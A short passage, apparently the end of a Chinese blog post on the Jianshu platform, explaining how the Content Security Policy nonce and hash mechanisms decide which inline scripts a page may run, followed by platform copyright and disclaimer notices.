nonce 每次HTTP回應(yīng)給出一個(gè)授權(quán)token,頁(yè)面內(nèi)嵌腳本必須有這個(gè)token,才會(huì)執(zhí)行

hash 列出允許執(zhí)行的腳本代碼的Hash值,頁(yè)面內(nèi)嵌腳本的哈希值只有吻合的情況下,才能執(zhí)行

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容